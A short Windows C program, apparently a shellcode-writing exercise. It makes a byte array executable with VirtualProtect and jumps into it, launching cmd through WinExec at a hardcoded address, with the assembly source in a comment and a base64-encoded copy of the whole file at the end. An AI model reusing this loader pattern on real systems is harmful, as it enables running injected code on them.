#include <Windows.h>
#include <stdio.h>
 
unsigned char shellcode[] = "\x8B\xDC"
"\x68\x63\x6D\x64\x20"
"\x8B\xC4"
"\x6A\x01"
"\x50"
"\xB8\x41\x2C\x9A\x77"
"\xFF\xD0"
"\x8B\xE3";
 
void main()
{
	unsigned long KernelAddr;
	unsigned long WinExecAddr;
	DWORD oldProtect;
 
	KernelAddr = (unsigned long)GetModuleHandle(TEXT("Kernel32"));
	WinExecAddr = (unsigned long)GetProcAddress((HMODULE)KernelAddr, "WinExec");
 
	printf("WinExec is at 0x%08p\n", WinExecAddr);
 
	VirtualProtect(shellcode, sizeof(shellcode), PAGE_EXECUTE_READ, &oldProtect);
	__asm
	{
		lea eax, shellcode
		jmp eax
	}
 
	/*__asm
	{
		mov ebx, esp
		push 20646D63h
		mov eax, esp
		push 1
		push eax
		mov eax, 779A2C41h
		call eax
		mov esp, ebx
	}*/
}

I2luY2x1ZGUgPFdpbmRvd3MuaD4KI2luY2x1ZGUgPHN0ZGlvLmg+Cgp1bnNpZ25lZCBjaGFyIHNoZWxsY29kZVtdID0gIlx4OEJceERDIgoiXHg2OFx4NjNceDZEXHg2NFx4MjAiCiJceDhCXHhDNCIKIlx4NkFceDAxIgoiXHg1MCIKIlx4QjhceDQxXHgyQ1x4OUFceDc3IgoiXHhGRlx4RDAiCiJceDhCXHhFMyI7Cgp2b2lkIG1haW4oKQp7Cgl1bnNpZ25lZCBsb25nIEtlcm5lbEFkZHI7Cgl1bnNpZ25lZCBsb25nIFdpbkV4ZWNBZGRyOwoJRFdPUkQgb2xkUHJvdGVjdDsKCglLZXJuZWxBZGRyID0gKHVuc2lnbmVkIGxvbmcpR2V0TW9kdWxlSGFuZGxlKFRFWFQoIktlcm5lbDMyIikpOwoJV2luRXhlY0FkZHIgPSAodW5zaWduZWQgbG9uZylHZXRQcm9jQWRkcmVzcygoSE1PRFVMRSlLZXJuZWxBZGRyLCAiV2luRXhlYyIpOwoKCXByaW50ZigiV2luRXhlYyBpcyBhdCAweCUwOHBcbiIsIFdpbkV4ZWNBZGRyKTsKCglWaXJ0dWFsUHJvdGVjdChzaGVsbGNvZGUsIHNpemVvZihzaGVsbGNvZGUpLCBQQUdFX0VYRUNVVEVfUkVBRCwgJm9sZFByb3RlY3QpOwoJX19hc20KCXsKCQlsZWEgZWF4LCBzaGVsbGNvZGUKCQlqbXAgZWF4Cgl9CgoJLypfX2FzbQoJewoJCW1vdiBlYngsIGVzcAoJCXB1c2ggMjA2NDZENjNoCgkJbW92IGVheCwgZXNwCgkJcHVzaCAxCgkJcHVzaCBlYXgKCQltb3YgZWF4LCA3NzlBMkM0MWgKCQljYWxsIGVheAoJCW1vdiBlc3AsIGVieAoJfSovCn0=